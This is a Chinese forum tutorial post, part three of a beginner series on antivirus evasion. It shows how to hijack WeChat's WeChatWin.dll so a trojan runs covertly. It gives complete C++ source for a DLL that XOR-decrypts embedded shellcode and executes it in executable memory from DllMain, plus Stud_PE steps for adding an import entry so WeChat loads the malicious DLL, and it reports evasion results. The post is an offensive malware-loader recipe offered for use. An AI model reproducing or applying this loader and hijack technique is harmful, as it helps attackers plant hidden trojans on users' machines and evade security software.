資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡安全教程|rigasin.com|我的開發(fā)技術隨記

 找回密碼
 注冊成為正式會員
查看: 1866|回復: 1
打印 上一主題 下一主題

[免殺] 零基礎入門學免殺(三)

[復制鏈接]

5

主題

8

帖子

0

精華

新手上路

Rank: 1

資源幣
15
積分
20
貢獻
0
在線時間
2 小時
注冊時間
2020-2-21
最后登錄
2020-5-3
跳轉(zhuǎn)到指定樓層
樓主
發(fā)表于 2020-2-21 22:41:28 | 只看該作者 |只看大圖 回帖獎勵 |正序瀏覽 |閱讀模式

零基礎入門學免殺(三)

第三期在當初寫第二期的時候我就想好了如何寫什么,雖然K總一直催我寫第三期,但是由于最近比較忙,一直在做 哎……. 所以額一直推到今天才開始寫。第三期呢我考慮的是劫持dll過后讓程序能夠正常運行,達到更隱蔽的運行木馬,由于朋友要求所以這次我拿的是微信來做的演示,制作期間遇到了很多問題,利用網(wǎng)上前輩的一些方法和工具行不通(可能是我太菜了),最后我下定決心以損失一次做*的時間為代價終于把它搞定了。下面我會提到我所遇到的問題,我個人不是很喜歡寫東西,所以這部分我不會詳細的說明,成功那一塊我會細說,B話不多說了,先上車吧。


查看可劫持DLL:
這一步老規(guī)矩,使用ProcessMonitor查看程序所加載的DLL,這次不需要第一個加載,隨便找一個加載的就行了,最好是當前目錄






隨便找了一個WeChatWin.dll,接下來就用這個dll做劫持演示

失敗的例子1:

首先我想到的第一個思路是利用IDA查看WeChatWin.dll所有的函數(shù)類型,然后自己寫一個test.dll,把WeChatWin.dll所有的函數(shù)移到test.dll,之后再調(diào)用WeChatWin.dll相應的函數(shù)。


可以看到有很多的函數(shù),并且我唯一會的F5大法失效了。函數(shù)太多也不可能挨著試,并且我們要還原每個函數(shù),工作量巨大。那么對于相對較懶的我來說這個方法行不通。PS:我這里貼一張腦圖吧,測試代碼我就不寫了。




腦圖中的WeChatWin.dll是自己寫的dll
test.dll為原來的WeChatWin.dll
假設function a 是wechat啟動第一個調(diào)用的函數(shù),當然你也可以加到其他函數(shù)里



失敗的例子2:
由于函數(shù)太多自己寫太麻煩,我想到了利用工具自動化實現(xiàn)。我在網(wǎng)上找到了一款工具DLL_Hijacker,可以自動生成C語言文件調(diào)用原dll的所有函數(shù)


源碼如圖




我隨便截取了一部分源碼,發(fā)現(xiàn)確實可以調(diào)用,但是有個問題 函數(shù)命名出現(xiàn)了@,編譯的時候會報錯,根據(jù)測試,只要是原dll的函數(shù)當中帶有形參的都會出現(xiàn)@符號,解決的方法就是用上面的辦法用IDA把帶有@的函數(shù)自己寫一遍。這里出現(xiàn)帶有@的函數(shù)太多顯然我不回去這么做,所以此路不通…….



柳暗花明又一村:
糾結(jié)了許久,我想到了以前玩劫持免殺遠控的時候用到過的一個方法:給正常程序添加一個輸入表,可以用到這里。具體實現(xiàn)方法如下
一:新建一個執(zhí)行shellcode的dll
利用第一期里面的方法二,先給shellcode進行加密,再解密運行,這里需要注意三點

執(zhí)行shellcode的命令必須放在dll的主函數(shù)里“DllMain”

需要新建一個線程運行shellcode

必須有一個導出函數(shù),函數(shù)里面的內(nèi)容隨意就好



代碼如下:

// dllmain.cpp : 定義 DLL 應用程序的入口點。

#include
"stdafx.h"

#include
<windows.h>

#include
<iostream>

#define
KEY
0x97

unsignedchar
shellcode[] =
"\x6b\x7f\x1e\x97\x97\..... "
;
//這里寫加密shellcode

HANDLE
My_hThread
= NULL;

DWORD  WINAPI  ceshi(LPVOID pParameter)

{

unsignedchar
c[
sizeof
(shellcode)];   
//獲取shellcode長度

for
(
int
i =
0
; i <
sizeof
(shellcode) -
1
; i++)

{

        c = shellcode ^ KEY;
//進行解密

}

    LPVOID
Memory
=
VirtualAlloc
(NULL,
sizeof
(c), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);



    memcpy(
Memory
, c,
sizeof
(c));



((
void
(*)())
Memory
)();

return
0
;

}

BOOL APIENTRY
DllMain
( HMODULE hModule,

                       DWORD  ul_reason_for_call,

                       LPVOID lpReserved

)

{



switch
(ul_reason_for_call)

{

case
DLL_PROCESS_ATTACH:
//初次調(diào)用dll的時候執(zhí)行下面的

My_hThread
= ::
CreateThread
(NULL,
0
, &ceshi,
0
,
0
,
0
);
//新建線程

break
;

case
DLL_THREAD_ATTACH:

case
DLL_THREAD_DETACH:

case
DLL_PROCESS_DETACH:

break
;

}

//ceshi();

return
TRUE;

}





extern
"C"
_declspec(dllexport)
void
test()

{

int
a;

    a =
0
;

}



這段代碼大概的意思就是 當dll被調(diào)用的時候就執(zhí)行shellcode解密并且運行,所以必須要一個新建一個導出函數(shù)才能夠調(diào)用

我用的是vs2017編譯的

編譯好之后我們先用loadpe看一下是否有輸入表



程序沒問題,接下來就是給WeChatWin.dll添加輸入表,這里需要用到的工具為Stud_PE 大家自行百度下載

操作步驟:打開Stud_PE-拖入WeChatWin.dll-點擊函數(shù)欄-右鍵添加新的輸入表-DLL選擇-選擇函數(shù)-添加清單-加入
之后把自己的dll放到WeChatWin.dll同目錄下運行微信即可。





先測試一下靜態(tài)免殺效果:





動態(tài)免殺效果:
運行微信













回復

使用道具 舉報

0

主題

4

帖子

0

精華

新手上路

Rank: 1

資源幣
1
積分
4
貢獻
0
在線時間
0 小時
注冊時間
2020-5-6
最后登錄
2020-5-6
沙發(fā)
發(fā)表于 2020-5-6 17:44:36 | 只看該作者
優(yōu)秀啊,學習學習
回復 支持 反對

使用道具 舉報

 點擊右側(cè)快捷回復  

本版積分規(guī)則

小黑屋|資源共享吧 ( 瓊ICP備2023000410號-1 )

GMT+8, 2025-1-3 13:11 , Processed in 0.061068 second(s), 17 queries , MemCached On.

Powered by Discuz! X3.4 Licensed

Copyright © 2001-2021, Tencent Cloud.

快速回復 返回頂部 返回列表